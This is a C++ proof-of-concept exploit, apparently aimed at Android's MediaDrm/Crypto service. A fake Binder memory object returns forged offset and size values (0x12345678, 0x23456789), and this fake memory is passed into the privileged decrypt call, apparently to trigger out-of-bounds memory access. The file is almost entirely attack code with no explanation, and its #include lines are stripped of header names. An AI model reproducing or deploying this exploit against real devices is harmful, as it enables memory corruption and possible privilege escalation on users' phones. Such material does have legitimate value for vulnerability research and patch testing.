#include #include #include #include #include #include #include #include #include #include #include extern "C"{ #include #include } #include #include "AString.h" #include "MediaErrors.h" #include #include using namespace android ; class FakeMemoryBase : public BnMemory //Create a FakeMemoryBase { public: FakeMemoryBase(const sp& heap, ssize_t offset, size_t size) : mSize(size), mOffset(offset), mHeap(heap){ } virtual ~FakeMemoryBase(){ } virtual sp getMemory(ssize_t* offset, size_t* size) const { //if (offset) *offset = mOffset; //if (size) *size = mSize; *offset = 0x12345678; // return arbitrary offset and size when called from Binder proxy *size = 0x23456789 ; printf("[*]in GetMemory\n") ; return mHeap; } protected: size_t getSize() const { return mSize; } ssize_t getOffset() const { return mOffset; } const sp& getHeap() const { return mHeap; } private: size_t mSize; ssize_t mOffset; sp mHeap; }; static const uint8_t clearKeyUUID[16] = { 0x10,0x77,0xEF,0xEC,0xC0,0xB2,0x4D,0x02, 0xAC,0xE3,0x3C,0x1E,0x52,0xE2,0xFB,0x4B }; struct AMediaCrypto { sp mCrypto; }; int main(){ printf("[+]hello world\n") ; AMediaDrm * mediaDrm = AMediaDrm_createByUUID(clearKeyUUID) ; AMediaDrmSessionId sessionId ; memset(&sessionId , 0 , sizeof(sessionId)) ; if( AMediaDrm_openSession(mediaDrm,&sessionId) != AMEDIA_OK ){ printf("[-]open session failed\n") ; return -1 ; } AMediaCrypto* mediaCrypto = AMediaCrypto_new(clearKeyUUID, sessionId.ptr, sessionId.length); if( mediaCrypto == NULL){ printf("[-]new Media Crypot failed\n") ; }else{ printf("[+]MediaCrypto created!\n") ; } MemoryHeapBase *mHeap = new MemoryHeapBase(1024,PROT_READ|PROT_WRITE,"name") ; if( mHeap == NULL ){ printf("[-] create MemoryHeapBase failed\n") ; }else{ void* base = mHeap->base() ; printf("[*]heap base : %x \n" , base) ; } sp sharedMemory = new FakeMemoryBase(mHeap, 0 , 1024) ; //heap , offset , size CryptoPlugin::SubSample subSamples[1]; subSamples[0].mNumBytesOfClearData=1024; subSamples[0].mNumBytesOfEncryptedData=0; AString errorDetailMsg ; char dst[1024]; mediaCrypto->mCrypto->decrypt(false,NULL,NULL,CryptoPlugin::kMode_Unencrypted,sharedMemory.get(),0,subSamples,1,dst,&errorDetailMsg); printf("[+]finish\n") ; return 0 ; }